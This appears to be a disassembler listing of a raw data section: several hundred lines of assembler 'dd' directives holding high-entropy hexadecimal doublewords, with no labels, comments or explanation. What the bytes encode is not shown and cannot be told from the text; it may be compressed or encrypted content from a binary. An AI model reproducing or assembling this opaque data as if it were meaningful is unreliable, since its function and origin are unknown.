		dd 2FBE947Bh, 60430D80h, 84692CC9h, 8F6FE304h, 499A867h
		dd 0EFDD28C6h, 1EB0A580h, 0F456416Ch, 41D645E8h, 0CBEA7F52h
		dd 6FE4E6Ah, 10490243h,	0D6858D82h, 7FB3B2C0h, 0DFB9CE25h
		dd 0FFD8E53Ah, 9D01ED30h, 50C58F2h, 0D1422506h,	0D99CBCE2h
		dd 80F25A76h, 0EFC253BBh, 826AF7A5h, 0B256025Fh, 65138761h
		dd 7EB6A142h, 0C9E19DC1h, 1ED5AC1Ah, 7DB2CBBEh,	3D835B29h
		dd 95039587h, 0CE0A26EFh
		dd 5B2CD955h, 0C8F1519Dh, 5E1DC352h, 6C2B127Fh,	0F71C81A2h
		dd 0FCDA93D2h, 7454B085h, 521664DFh, 7E07AF13h,	9277595Ah
		dd 76802A1Ch, 0DD202FF3h, 0BFBC94h, 885266A3h, 0CEFE27EEh
		dd 65175C5Eh, 6BFE585h,	0EBF89F9h, 507CD4B7h, 0DE97AAA2h
		dd 7F33627Fh, 5C2DCBE5h, 320899D8h, 5D2102DCh, 650C90F3h
		dd 5AEEB364h, 0EBDBC4F2h, 0DCF6AF00h, 0E607ECC0h, 850252E4h
		dd 84BAB3C5h, 0D82E65D1h, 0FC09F10Eh, 0F028C210h, 0EC60278Ch
		dd 0D20A52ABh, 0F9F4A5EDh, 0C307F020h, 0B9F2D60h, 0F89F84DBh
		dd 25DEC1B8h, 5516BAD4h, 61779221h, 900CDD7Ah, 0D848BDF2h
		dd 0A659CF04h, 1E06803Fh, 79588D2Fh, 241B06BCh,	80C08DDh
		dd 726E3087h, 2563FC06h, 2F724BCh, 3CB6261Ah, 0B19A03CBh
		dd 5C58096h, 823DE19Ah,	0F2D7F2D3h, 4271142Eh, 1717BB34h
		dd 6A4B2949h, 0E9C564ADh, 0EF0BFF3Dh, 68C57533h, 267E4508h
		dd 0CD5A031Eh, 70D9BB8Fh, 59169AD4h, 0D962F54Dh, 0C83E0585h
		dd 549DDAA2h, 2D5F6088h, 0B8735417h, 9640DFB8h,	35C92D68h
		dd 7F013E4h, 0E925E892h, 770362EFh, 14B0B84Dh, 52356851h
		dd 0E9080962h, 0FC256DF2h, 942D01FBh, 94700D10h, 7C070510h
		dd 93207495h, 0ACC2A0A2h, 2C390476h, 128C3E4Fh,	70FA3C6Bh
		dd 1E7068C1h, 51E939A8h, 80BB80B5h, 60FE79E5h, 0B35304C5h
		dd 0DD013076h, 0E9702C5Bh, 0CC50994Dh, 2C5133F7h, 22D2FE3h
		dd 9F6CBFA2h, 12EE8CD5h, 0D94D1E73h, 11CF5625h,	0D7120838h
		dd 9836225Ah, 0F001A0A1h, 0F7887E2Dh, 0EBF6B739h, 7DAA0C17h
		dd 68FB10A1h, 0D1974B98h, 21E96121h, 68B8057Fh,	0E3052D4Ch
		dd 0C14F3541h, 0EC02A456h, 752CE966h, 7B82E09Ch, 5821CA1Dh
		dd 754C9809h, 977A6249h, 0FBFD8959h, 74C500DEh,	0E936AA12h
		dd 0DFA55925h, 857AB4A2h, 0E2E69AA0h, 48670251h, 74024378h
		dd 644F42F5h, 6417B04Ch, 0F9EE2F37h, 0D55825AFh, 36C64099h
		dd 0A3E45E45h, 77EE488Fh, 0D9F3F083h, 59CB2188h, 0D7CE4B5h
		dd 663A6007h, 0AD49F80Ch, 0AE25E9F0h, 0E22FD7C1h, 6ACD1006h
		dd 0C9BC5F5Bh, 0A9CC82F5h, 2028E6D5h, 0BE077516h, 14AC5E1Ah
		dd 0EAAF8CA2h, 0AB45C176h, 6B430BE2h, 400EFD9Bh, 0D204C828h
		dd 122CF3E0h, 427D68A2h, 9FBFE94Fh, 0A490B77Ah,	318CF07h
		dd 48E20E47h, 425D593Ah, 0CAF4971Ah, 0C6C33D50h, 605E649h
		dd 1E2B085Dh, 498928CFh, 984EF889h, 35F930E1h, 0A3C1B9CDh
		dd 21BFAE4Fh, 0D50FA3h,	0BD348758h, 0EA270EC6h,	7419C61Bh
		dd 0CC23ED3h, 0CC1A1D92h, 8B950A0Ah, 0BEB277BCh, 0B027AD6h
		dd 401FB14Ch, 305CF0A3h, 90C7152h, 6E7CFC57h, 4E1BC202h
		dd 55016160h, 80472E2h,	19B2FA5Fh, 40B654DFh, 0F4A6B84h
		dd 2B11C9ACh, 0EBAA0B6Bh, 76E2DADDh, 72BB01F4h,	6C6FDF1Dh
		dd 8B2C5093h, 84BD8CE8h, 0C6A42D45h, 4AA12AE9h,	68500233h
		dd 5F555867h, 9AD884D5h, 16BB6601h, 0B78ED264h,	80325BEFh
		dd 205F6819h, 79BFA899h, 2C075327h, 0B89810A7h,	445A4E01h
		dd 86BE7Dh, 2D42F581h, 0BF364AB0h, 9C43ACD5h, 0F306DB70h
		dd 970F802Ah, 0E6C55921h, 0AAD3C7C4h, 92DE65FCh, 2D714044h
		dd 35E5668Ah, 6F5DF1F4h, 5C56307Ch, 6E67A5h, 58C6893Ch
		dd 3A72CE81h, 0F733700Ch, 8030F4D6h, 534BDF31h,	0E98298AAh
		dd 64BF9A2Fh, 0C5814CD2h, 3227310Fh, 30A59DCBh,	0DFB41C88h
		dd 21F0E5C6h, 84362EE1h, 0E95E903Ah, 0E1FE8801h, 0A6C82A58h
		dd 0A5EE4BD1h, 0A12CD4ADh, 1895EB48h, 0BD32BA2Fh, 3ED213DFh
		dd 7DA9FCC0h, 86125C5Fh, 1CBBD7B0h, 531C2D39h, 27918231h
		dd 0DBD4D3A9h, 2588EA96h, 0CEE91AFAh, 0F20240F6h, 0D981B60Fh
		dd 0E23A0868h, 7720EB72h, 9925037Ah, 406BEC34h,	41AA9B0h
		dd 0E20D061Ch, 2D520A81h, 0AAD1DDFh, 1A093DDEh,	69B85483h
		dd 0CEAA30F5h, 3F76B759h, 0A4941A45h, 3D1683FFh, 73587524h
		dd 3B32694Ah, 0B5BCC0E6h, 27F69FBCh, 18F34242h,	8D03BB53h
		dd 0BA4C7E3Bh, 310B12A9h, 40AC8BDAh, 204C786h, 4FCB2B68h
		dd 844FB7EFh, 44ABC4CFh, 9B7931h, 757ECB81h, 4F7C7B61h
		dd 0BF250049h, 25681FC4h, 27CA4F58h, 0F00044CEh, 4884B231h
		dd 0FB1289B8h, 92ABAC78h, 2180F584h, 76B81E61h,	67F20573h
		dd 0BE309355h, 0B1219C6h, 28ABC684h, 2B24FC80h,	0CA9F31DEh
		dd 0FD080939h, 15256804h, 3C8B12E3h, 0EC4074EFh, 0FB32781Ah
		dd 26C0E72h, 0FB4351B4h, 0ECE91D09h, 7E69467h, 836BAA05h
		dd 3A41507Eh, 0E92D5038h, 2CFFE3FDh, 81961D0Ch,	9149C7BBh
		dd 0E9E77A1Bh, 15DFB060h, 55002740h, 0C571AEBDh, 696DE96Ah
		dd 6E9648ACh, 692C5C7Fh, 0E182A6A7h, 7DEF239Ch,	200C4603h
		dd 27F7028Ah, 46E967C8h, 63C14AB1h, 4B840208h, 0FC7FE217h
		dd 42360018h, 0D7356AF8h, 5865301Dh, 11384443h,	2D24D040h
		dd 0D3474ED6h, 3AD8C381h, 0CA9D25CBh, 5F080021h, 0D698FFE9h
		dd 0B2DDBF5Ah, 323CA42Ah, 64AB3602h, 0E9FE45E9h, 2D30EAF4h
		dd 9A30F4D7h, 0BFC9D34h, 9578A358h, 2DC38C90h, 0EB35018h
		dd 25CCD10Ch, 6257EC8Ah, 7D174210h, 38203914h, 0CD29001Bh
		dd 3720ED81h, 0DE98442Ah, 0F725F8B6h, 4689638h,	0BED4E4Ah
		dd 2FC8E982h, 5141847Eh, 3BC46C68h, 2CF0BC43h, 0C96B1D0Eh
		dd 5B5CE9D1h, 2692103Ah, 82EAF84Fh, 5F97176Bh, 0DA97E7F2h
		dd 0CA108063h, 4D122E5Eh, 0FE9E17DDh, 538F5797h, 0D9AA7484h
		dd 75B1F11Dh, 2673602Fh, 0BEBE0940h, 62FB60C2h,	12620E8h
		dd 820F3F1h, 0E0235E5Fh, 512C48Eh, 0FBBE0944h, 9F2E2144h
		dd 0BCD46CBCh, 0CCC5BB17h, 6B400746h, 90F8B831h, 43720032h
		dd 0BE561513h, 0E32568B6h, 348FFF39h, 9571BDE1h, 44DDE530h
		dd 0C081ACAh, 0AD001709h, 120266DAh, 46E5C4C2h,	0F1484027h
		dd 0B67718D9h, 75A4CC78h, 2453E330h, 63AA7CF0h,	9E40184Dh
		dd 0FC82F7DAh, 0C9F35B59h, 70BAE909h, 2D959ACDh, 0AC2B1D82h
		dd 0E0A610F6h, 0A5CF712Dh, 0B24091F7h, 0A1E3EE05h, 96919FCAh
		dd 0A5690954h, 0FED9352Eh, 3738DC42h, 215051B4h, 0E97195E8h
		dd 0A041FC69h, 7AB469F0h, 0DF420957h, 1C7F028Eh, 1DF91E46h
		dd 0D25B5FC1h, 0C83F06E1h, 0D858E5AFh, 0BFB0070h, 1D054426h
		dd 1F8B245Eh, 0BA5280F2h, 11EE34F6h, 0F6A0315Ah, 6FCB01E7h
		dd 834779FFh, 0D2E9D4C7h, 0C58751C9h, 259DAA28h, 81455598h
		dd 5AE1F625h, 14F5A2CAh, 5FF927D4h, 34993A5Fh, 0AB5B8B6h
		dd 368C6856h, 8EFBA53Dh, 8807AE2Ah, 142830Ch, 68B2768Bh
		dd 0C91A2D0Ch, 56C8317Ch, 7F0DE942h, 0B70FF3E6h, 89C7FEB1h
		dd 0F7A25F6Eh, 71714BDAh, 0CE5F88h, 9305F029h, 437C666Ah
		dd 2100115Bh, 0A758D5BAh, 4FBDB401h, 0EEB3E3E4h, 4AC20F40h
		dd 0B0B1BDC9h, 0E1CB98D1h, 1EF4BBC0h, 8A07DD34h, 0B43A5BA7h
		dd 0A82382B3h, 982759C4h, 0C043DE42h, 71AA6855h, 55023224h
		dd 0F4E65A09h, 750681D0h, 6C45354Eh, 0B030102Dh, 0E3F1A51h
		dd 0EBCF5840h, 0B3C65BA5h, 3B40704h, 0F3D2290Eh, 0EE210517h
		dd 0C8A86B51h, 0DA950C14h, 0C577885Ah, 392A7026h, 9BAD9CBh
		dd 93FE66CBh, 0C25E74C9h, 2C05D09Ch, 0E85A2483h, 4B976850h
		dd 0CF05CC07h, 4C834154h, 6101267Ah, 0A9E0EA81h, 113C0F13h
		dd 0B8E95606h, 0E14C39B4h, 8FBB12AEh, 654DAEF2h, 0C0C22D7Bh
		dd 0E589B9D1h, 0CBF9D11Fh, 69137A7Ch, 0E67B60E7h, 0A4F4B9C3h
		dd 4D1E033Bh, 85F3102Eh
		dd 0C380330Eh, 46CB0F7Bh, 4F30F252h, 0D120EF01h, 25235D25h
		dd 8D78750Ch, 0F803050Ah, 0ED00E7AFh, 33AE15B3h, 0EFC55101h
		dd 0A9E90801h, 0EBFAB50h, 3670FD76h, 1AB01EEh, 0D5E92CA0h
		dd 58209274h, 44C1AA01h, 0A4421DEAh, 25889036h,	71EF0513h
		dd 0BE6D4668h, 91BE6F35h, 7F8DE91Bh, 15906320h,	30237BE1h
		dd 2D16AD64h, 23D7B28h,	0F4E81372h, 1C89CEFBh, 772F67E7h
		dd 7AB0929Ch, 50D45A44h, 17455030h, 137DA718h, 8F5AEF5Fh
		dd 0A2EB7D0Ch, 0AEBC954Fh, 0DF895E0Bh, 70E685Bh, 69FA16BCh
		dd 0BE194072h, 0E80667ECh, 61ED686Ch, 91C12487h, 743D8D15h
		dd 0B89C400Ah, 0D4B0D42Eh, 0B36C04BFh, 65E010D5h, 0FE4714AEh
		dd 733BD42Bh, 0A89C2D92h, 57E91FCDh, 0ADE9DB6Dh, 6D2009D2h
		dd 945FA06Fh, 257E9B7Ch, 71FB0B5Dh, 55496228h, 2F90E75Fh
		dd 0DCFADDF4h, 60F55CF2h, 9B0BB454h, 0F7F82188h, 4C40B79Ah
		dd 28BB5722h, 0E48CA109h, 5E0FF0A3h, 3C14F72h, 0E99A6206h
		dd 4B32BE0Bh, 0C6A081A2h, 6FF928DAh, 2046907Ah,	0D15C685Bh
		dd 49E93C7Ch, 66AC0B1Dh, 8164D151h, 0FE3FB252h,	31BF33C2h
		dd 0EA427D28h, 0FEE2CE24h, 307B4F3Bh, 5711D2B2h, 38266E7Dh
		dd 0CEC6824Bh, 9C049F1Bh, 5D22C468h, 7980BC10h,	5B6D165Ch
		dd 7F0BF381h, 0FC391E03h, 12B4A860h, 0BFC3D1F7h, 7CAA68D4h
		dd 534CED2Ch, 0FA08C046h, 7EEA805Bh, 93CA2DAFh,	0D525A06Eh
		dd 958CD94Dh, 844C809Ah, 0C0E0CB5Bh, 41ABBF57h,	0E95F138Dh
		dd 66BAA016h, 0C680580Eh, 30F66790h, 9A1CDD3h, 4F59CF6Dh
		dd 85032AFDh, 16FABF13h, 780FF320h, 0D135F625h,	0AF5645DBh
		dd 0EE0FD721h, 8BEC617Fh, 698C6A72h, 583D03C3h,	0EB292BECh
		dd 35082AC7h, 0E504EA45h, 79430E7Ch, 5E92A030h,	3A200C50h
		dd 0C9CCA12Ah, 96D751E0h, 6E1B00A2h, 0A2056B95h, 67914916h
		dd 2DE98CAAh, 0F36105A2h, 29897A38h, 87CF9831h,	0A9AB5704h
		dd 1899080h, 75161DE0h,	8E60DF01h, 682DC25Bh, 0DDA410CFh
		dd 51AFBCE4h, 4A292981h, 0ED5BAEC8h, 0E1A5A251h, 44F028A7h
		dd 514E1909h, 13A85C3Ah, 0E01F8745h, 0F47FEB2Dh, 1A881E54h
		dd 0BBB1340h, 6D662CC5h, 83F95682h, 63DB9A7Dh, 0B7100019h
		dd 28C32CC9h, 0B35053F8h, 3D544194h, 526E58A9h,	61E7DAB5h
		dd 0D34C71ADh, 6B0FBE59h, 3134A3D7h, 4AD193CAh,	0A0EBFC08h
		dd 963B84E9h, 9B686187h, 0AFCC7B19h, 28704AA8h,	0EDBF5E45h
		dd 478F8B9Bh, 645223D4h, 12605AD4h, 0E0F7B0F7h,	0DC2AA241h
		dd 8FC52B7h, 4EE3A34Eh,	1F984F10h, 0D2D6DE31h, 14E5D0FFh
		dd 422DB80Eh, 4815021h,	0C91AECE3h, 16E3C13Ch, 13547B7Fh
		dd 742B003Bh, 0D8F73422h, 2760E625h, 5E70411Ch,	0C207FC5Ah
		dd 375B92Ch, 0B614B5BCh, 165EB9EAh, 0E219122Eh,	6F21827Dh
		dd 4FFF741Ch, 5912B0A8h, 476CEF01h, 9BF13AD5h, 0A271EA2Eh
		dd 292AF030h, 8007808Eh, 0B65273EBh, 0B450174Dh, 0C7981345h
		dd 4D801EFh, 81AC3A17h,	0FCEAC5A7h, 5B1B10C8h, 0B95D5416h
		dd 69C0A750h, 8030F826h, 0F1BAADE9h, 40892949h,	101209B4h
		dd 0FE825F6Dh, 7DC8C20Ch, 715F6289h, 0AE96194h,	41E26FE7h
		dd 0CF5A5CA2h, 0CE25BBDh, 0CB3FB772h, 6E134213h, 40415005h
		dd 32D65A00h, 0A201A021h, 0D14CF7FDh, 0A6987E25h, 7065E18h
		dd 60DC505h, 8D20F21Fh,	712A185Fh, 3CEE3E0Eh, 0ABF64B93h
		dd 680B2C8Eh, 42316E9Fh, 27D6050h, 5AD08805h, 2823E34h
		dd 0BAEC4A5h, 3CE23BD3h, 1230DDF4h, 5865076Dh, 3F03AF13h
		dd 29E753B8h, 315D1E12h, 0C2ECA2EBh, 7702EEC1h,	4001EAD2h
		dd 0E9A379E5h, 0E7AEC821h, 0D6B50DCDh, 7EBCA4D9h, 0BA073E10h
		dd 719E5E0Bh, 0F405EAC1h, 1AC0035Ah, 4E5EF80h, 743F9895h
		dd 623CFC2Ch, 5F26F173h, 47CFFFDEh, 0F70B70F3h,	0BFC21E9Ch
		dd 0F4EFD0E9h, 87E1C364h, 9468120Ah, 6C92D21Fh,	0C7EA08D0h
		dd 531D2832h, 9BB62018h, 0C40FF6FCh, 6C0EF718h,	0EC581740h
		dd 1BA49725h, 63D9AED8h, 5B61E460h, 0E9D93C27h,	94C7A729h
		dd 3FD978AFh, 37A65038h, 4E1F08E0h, 0D4D7290Bh,	0EBAA43C7h
		dd 5179574h, 8F057438h,	5CD84726h, 0FD490340h, 0F715E93Dh
		dd 0CABF538h, 3C5B1AC7h, 862C051Eh, 0C05F8952h,	685650B1h
		dd 802702EAh, 42C2C871h, 84E2B98Fh, 0BF1E2F68h,	2D5A609Fh
		dd 0A3832087h, 0EEBB9E60h, 5F9A413Eh, 7428AA7Ch, 13D59DCh
		dd 0B93AE483h, 7B515EB1h, 0D6D3080h, 36E9126Bh,	0AF3D5295h
		dd 5FEA8100h, 903FF174h, 0E9023731h, 0B8550B55h, 3E0D8AB3h
		dd 0CA0A65FDh, 30DB0862h, 1AC08218h, 7F91A251h,	0FBE9F842h
		dd 655C55E1h, 88BC66CFh, 619C20B3h, 3E79FA81h, 4F8455ECh
		dd 87B7019Bh, 7021C5B0h, 974B75F2h, 6D462CBAh, 3875C19Fh
		dd 505B8215h, 10BBBA00h, 0B8204A99h, 54BD80B4h,	9E680B33h
		dd 2007827Fh, 8805680h,	2A715CC7h, 3ED082A1h, 0E27A06D9h
		dd 4E5485ADh, 0B6878CAEh, 12FDAB5Ch, 0F919C06Eh, 0B0E7010Ch
		dd 0B562E917h, 33F9A90Bh, 7F68DFEBh, 0B1C35AB0h, 0BDAB7679h
		dd 734493AFh, 0E9ACB9C8h, 0BD8AC020h, 2B3C12B1h, 78E76E85h
		dd 9722884h, 10185E29h,	0B75A3E70h, 0D4D97B2Ch,	549FA841h
		dd 318886CAh, 3E2859ECh, 35E66AB6h, 0EFDF4C34h,	6CCAB20h
		dd 21782D41h, 0E5209778h, 1758587Bh, 0A7618607h, 59A4C26Eh
		dd 76ECC97Eh, 0F6F540DCh, 18F8DB4Fh, 0C3800607h, 877DE2FDh
		dd 0D5523F7Ch, 6BF31FC0h, 8D62A996h, 480009B9h,	35232C21h
		dd 204ABDF6h, 8B9E6AADh, 60DAB1C7h, 56EF8127h, 9D7DBB02h
		dd 3FE70E5Ah, 0A21768CEh, 0BCCDFAAFh, 3155D92Eh, 0ACFC6B66h
		dd 6CFA89A9h, 7EEC7DD7h, 0EF4ECDF6h, 309C23EBh,	8916A2DDh
		dd 41535759h, 896E961h,	0E860993Eh, 0BFD8A649h,	0F6853D0h
		dd 4F9B6EF0h, 83C176CBh, 41B56ABDh, 5A230B6Eh, 6F69F78Eh
		dd 0F61DCCF5h, 0CC845B63h, 4D40B0E5h, 0A389842h, 7D67151Ah
		dd 22140791h, 248069BFh, 55936D84h, 81F7F29Fh, 0CB7F5E08h
		dd 7D37061Eh, 3C46429Ch, 44A66C6Eh, 0F40705ACh,	6A73C13Bh
		dd 61915910h, 0CCF66E0Ch, 6BEAE982h, 0BB052EC6h, 23AB2915h
		dd 2DE9B3F0h, 1C7A7875h, 0FF2FBBB0h, 3DA9DD19h,	688733F1h
		dd 0F50B76D6h, 6FC4BC1Ch, 0BF12EB5Fh, 5AEE4252h, 0CA5D0C60h
		dd 4DCE046Ch, 775DB692h, 0AFE5CD89h, 0D234E909h, 6FEF075Eh
		dd 0B207B343h, 854C0DD7h, 9D6B2120h, 80044FF0h,	81B6D6F7h
		dd 80BC54C3h, 5E39E9FEh, 0C99C5DA6h, 0AED65AB8h, 0F6606646h
		dd 0BC9BBF23h, 53F843DFh, 92C3083Fh, 128D2891h,	933C2CB4h
		dd 677F692h, 0E2C05A18h, 818068A6h, 2EFF3131h, 818F7AE8h
		dd 471EADE1h, 0AED42E65h, 0E5290817h, 5F60E1F9h, 35BD5CEEh
		dd 0EF298485h, 29FA6A74h, 87CFF5D8h, 5DA1EF71h,	0FE5E4582h
		dd 0A0E9785Ch, 7AEC024Eh, 7106E4F5h, 0BCC371BDh, 8931A84Eh
		dd 5DA82505h, 299F3BBh,	0E35B78CEh, 4B556008h, 7D34244Eh
		dd 29B810CEh, 5517775Ch, 9C367705h, 267817B2h, 49C38987h
		dd 5342C200h, 0CC1054Ah, 79F06F7Eh, 60C54430h, 14861401h
		dd 0EC9C407Fh, 1E01471Dh, 0C1895171h, 0BA4B573Ch, 0FFE93620h
		dd 5266B565h, 42D75EB7h, 27556A4Bh, 52306E8Fh, 4CD2D77h
		dd 0E92F2410h, 82A1B537h, 0DC6280ACh, 0F5838511h, 215B0702h
		dd 4A535DE9h, 5F2E6889h, 0A8A7B7DAh, 685DC289h,	0A90B30h
		dd 0CE05DBFFh, 0E977C336h
		dd 799E759h, 0E404E6BDh, 959655E9h, 0D403A50Ah,	261EC241h
		dd 0E9444581h, 5D9E987Bh, 3F2443CDh, 5DE35755h,	0E072CDE5h
		dd 51C36A56h, 0C99E04D0h, 887B28E8h, 0CA8360C0h, 89E2E5F5h
		dd 675FEB88h, 6BC5AFB8h, 66846885h, 0AB3E49BAh,	0C5AFD159h
		dd 5D540C04h, 854FCEB4h, 83E1EC4Bh, 0E71A4C82h,	99BE7474h
		dd 1012E871h, 42884C9Dh, 922D7FC2h, 3732F56Ch, 0FF12F40Fh
		dd 547F6C8Eh, 2D68917Ch, 2E547149h, 0DE92B776h,	0DFE5617Dh
		dd 0B2BBF854h, 68ABE24Ah, 17FDBBD5h, 0AE228270h, 4DF86B94h
		dd 6D0D540Bh, 0AF725704h, 68A18A8h, 80E60135h, 3E4F2B76h
		dd 3156201h, 0C82263Dh,	19533992h, 2B78DFh, 0CC66A4C2h
		dd 14C3E905h, 4B41BAAAh, 70053BB1h, 67EA1068h, 0DA39D110h
		dd 3B817A19h, 62795D08h, 0EA40EF06h, 63901B10h,	2E0AB851h
		dd 5808E704h, 240464A5h, 7CFD0812h, 0CD841448h,	0B2BA1263h
		dd 885C1671h, 8E04BAEh,	0FCB3E204h, 6BD1C434h, 986E6FFh
		dd 0CC79FC68h, 0BD550134h, 329D7F11h, 0F7EF214Dh, 4EA0F4Eh
		dd 4C51FCAh, 31FBF1F6h,	6E3FA7D8h, 2778F2F2h, 4AF12A29h
		dd 1B0C6080h, 0C0D7F769h, 0E4F39B66h, 664FE996h, 5FEEF5D2h
		dd 0DB296569h, 3AB58EE9h, 0BDB08ABCh, 4C0003AFh, 30DC2D66h
		dd 9053DDDh, 770A63D3h,	7200E5Ch, 0E91140F9h, 96B989F7h
		dd 0C0692DBCh, 12D1BFF1h, 0A735EE59h, 3BB548F9h, 0A162829Dh
		dd 7FA244E9h, 0E8A47045h, 0E797350Bh, 0C45814FFh, 714C0986h
		dd 56727D00h, 8D84BA7Fh, 5D807FA9h, 661652C6h, 1080B831h
		dd 0B84F5914h, 8F2B1354h, 4461EDD0h, 784A7D19h,	840FDD9h
		dd 4EA0685Bh, 0A26FA314h, 0DAE90383h, 0FA8FC15Fh, 75C1FE4Ah
		dd 0DD2B207Ah, 0B04D20E3h, 118C8582h, 0C3C05FBCh, 0E9181756h
		dd 62ED3031h, 5770F301h, 0BB98BD6Eh, 43C040DAh,	6F052933h
		dd 577C978Bh, 34F25F5Ah, 5385DD9Bh, 0B0FA08B3h,	0D6408FF0h
		dd 0DFBA0452h, 0FE45FC6Ch, 0B1501753h, 77985B0Bh, 890F6129h
		dd 0E21A244Eh, 9594E05Fh, 6EC32830h, 252E1C90h,	0FBDE8E5h
		dd 0C5B5762h, 64BDF180h, 0CC13BAEh, 22724694h, 0E0274E00h
		dd 56AC82A0h, 5D5F5EC9h, 0E29F5250h, 0A050D38Ch, 44C5B6BDh
		dd 5A42AC2Fh, 5A685630h, 0F80B303h, 21C8327Dh, 0ED4AA304h
		dd 31EE6FC0h, 5FC50944h, 8204DEF7h, 0B6F117BAh,	0E8C0C4h
		dd 88132C06h, 206858C5h, 0DE274958h, 0E252ECDFh, 73136CB8h
		dd 3BD9FBE8h, 0C102846Ah, 2BAB7850h, 0E9A568EEh, 2182834Fh
		dd 647AF709h, 8DB720h, 53CA295Bh, 0CC45BCBBh, 15B1634Eh
		dd 65FA7888h, 70965F1Dh, 0AA7225F1h, 97158B9Fh,	0B0CE45F5h
		dd 7C0901B2h, 9B254900h, 353FE51Ah, 5A757D05h, 6847810Ch
		dd 13577DB5h, 98A7B37Fh, 0BC41247Bh, 6454655Ch,	0F88B66CAh
		dd 77256AFEh, 10C2754Fh, 7A7C0809h, 0AD65D5Ah, 5B0A91C3h
		dd 0AD414418h, 50B117A5h, 0EE03D43Dh, 20847E50h, 57DF0D9h
		dd 7A0D5701h, 14701FA1h, 6C3D047Eh, 0F01CE93Eh,	0F4EC43D7h
		dd 4AA3374Fh, 0A8555127h, 6805E750h, 45F2724Bh,	0A1A95F8Fh
		dd 0B48430FDh, 38F30422h, 109B3FE9h, 1A15DF6Eh,	908B40E0h
		dd 51FA3F39h, 36F700EFh, 5690E66Eh, 0D15AC306h,	0F0C41913h
		dd 4D282464h, 0EA812D0Bh, 7F4A0B0Ch, 19033CA0h,	60158CE9h
		dd 0B7BC7004h, 0F82E0170h, 2B2DD85Bh, 0B300FFD2h, 16841765h
		dd 0C45FAB98h, 7F66CA82h, 0B6033A4Ch, 0D0DEF673h, 500809E6h
		dd 582FD6E9h, 0CE80DFC1h, 7AC6CD22h, 0C05A0DC0h, 4C0373EFh
		dd 510A3CE7h, 10A32DB5h, 780B7767h, 0DCF6E580h,	0D0B28062h
		dd 0BBE9CAFEh, 566E7A8h, 0DD75D12Dh, 2A9D0502h,	0A1AD004h
		dd 814AFD40h, 98B28282h, 0EC810BEEh, 3609EC68h,	2E980603h
		dd 9F67A54h, 85ABD16Ch,	0A10962E2h, 9D0BAEF1h, 441E7699h
		dd 0E513EFA7h, 0E99838AAh, 0A8CB6C2Ah, 4BB79E92h, 0FB5404B6h
		dd 0AC7BF72Dh, 51CF078Eh, 47151220h, 0BAD9E301h, 7634EB7Ah
		dd 1DB14925h, 0AE4F2884h, 42592944h, 6A94BB00h,	0D0955240h
		dd 81433A06h, 0AB62CC13h, 0CB222A09h, 0DC73FFF6h, 0AF0E4ADDh
		dd 835050C3h, 58BEE2D3h, 0D9CC9DB0h, 0F4AF7F94h, 63CE8AFCh
		dd 0ADB8ACC4h, 163E0F54h, 5642A1E0h, 0CC4268DAh, 175679A9h
		dd 0B1670A61h, 4FA26F22h, 5BE2C22Fh, 0E4C11587h, 548DEE89h
		dd 3F54FF2Bh, 0A0AA152Dh, 2854780Eh, 39689B1h, 34A95D5Ah
		dd 305F03C1h, 4C1391F2h, 51F15E85h, 6AB08AFFh, 89A25F92h
		dd 0C6CC5098h, 5C93E699h, 5E26ABCEh, 7CFCA62h, 5ADC4A7Eh
		dd 0D10606C6h, 55F0AEBh, 8299A881h, 60415D01h, 0B9B80F75h
		dd 0D4E0284Eh, 25EE4A89h, 0DF88BA84h, 0EE995A02h, 9749170h
		dd 86715058h, 838A9E91h, 1AC73EEh, 90CEF7B0h, 2148C904h
		dd 0A1BF5FFBh, 0E6A82FFAh, 0F8004B8Bh, 113A3410h, 0A3BD552Ch
		dd 1E34762h, 3C358268h,	0B382E5F1h, 32EF20EEh, 68B56170h
		dd 0C006C8BEh, 0E69BC597h, 85FBB1E3h, 68525AE2h, 0D15F66B2h
		dd 9FF00B72h, 0B1FC5D4Ch, 0CD89630Ah, 6A50F105h, 2D3E5FF1h
		dd 96036E35h, 164EA14Ch, 350FD6h, 0F6F28177h, 73178F6Ch
		dd 0ADA03EE9h, 2CD02D28h, 3ED231C1h, 1D12DEADh,	3C2EF39Eh
		dd 473F8EF6h, 19CEC14Ch, 60E67735h, 0E0C04917h,	9D71B8E0h
		dd 0CD3B87Ah, 0F0C452AFh, 0AE5B2F48h, 0FA5DE028h, 0FC604F43h
		dd 29B0C60Ah, 89DABF1Dh, 60A7D724h, 7157C340h, 370D7CE8h
		dd 64F30C10h, 1841ACA5h, 8C488155h, 48352D06h, 70D5762h
		dd 7E78E170h, 0F40961C9h, 0F425D742h, 1B6D62DCh, 45CC0D00h
		dd 0F86A4A08h, 354801D5h, 5CDA05D3h, 75629EF8h,	7F2D01B6h
		dd 2944E413h, 9FD563C1h, 0A364C12Dh, 0B968002Ah, 280C44D3h
		dd 0F81A8969h, 0BB535B4Fh, 82E8FF37h, 6501FCFh,	7E9053C1h
		dd 0ABFB213h, 2CFD6F7h,	0E2A0845Ah, 0FEC49784h,	64172DA4h
		dd 0C0FD4D64h, 0F91AE2C1h, 58475748h, 57409E1h,	0FADB615Fh
		dd 0BD40CEE0h, 68511180h, 59B7B59h, 0D5380A01h,	0B3545305h
		dd 0E95990FAh, 8091A99Bh, 4867BE03h, 2B745080h,	0D64082DAh
		dd 88816B9Fh, 2049EF2Bh, 88C1FEB3h, 1AB16F61h, 5DCA5552h
		dd 5AEE0B5Ah, 46A2E0A0h, 0B8B6F083h, 0F6F47C88h, 0F43D4B39h
		dd 83FA2EE9h, 5B35DEE0h, 91AA2028h, 2D59EBD2h, 0E3B186AFh
		dd 0B177034h, 8751E9D9h, 0EFF85F96h, 452C52DCh,	5C651005h
		dd 166F00BEh, 40176770h, 80A90502h, 0B8923CBh, 23EDD07h
		dd 60E01BC3h, 0A82C4ED3h, 0B0165905h, 8FE31EB8h, 9ECCBBACh
		dd 777D4F97h, 6E7DF9B8h, 7914B625h, 0C4D8685Ch,	0EA8C6073h
		dd 0A31C5F87h, 17D05871h, 8BFE8F1Ah, 0AD531729h, 0BDCD46CCh
		dd 16BCEFD9h, 0CFAACA6Eh, 8C4F2C63h, 2D5E82A8h,	57D67CB5h
		dd 8CA115D8h, 0FA25A083h, 0C665530h, 2826B9BAh,	0A1235Fh
		dd 0DCA0D94Bh, 0F4E9D701h, 0A73E245Ch, 0ABC96B4h, 5BBFD060h
		dd 32BC593Bh, 5D1B5502h, 5FF86152h, 2343A240h, 0C1362761h
		dd 640AB5C0h, 20B86CB5h, 51600172h, 9F40CD30h, 0BE560031h
		dd 7056F0Ah, 677EE81h, 0E917AB05h, 39BE1803h, 55F9F9C3h
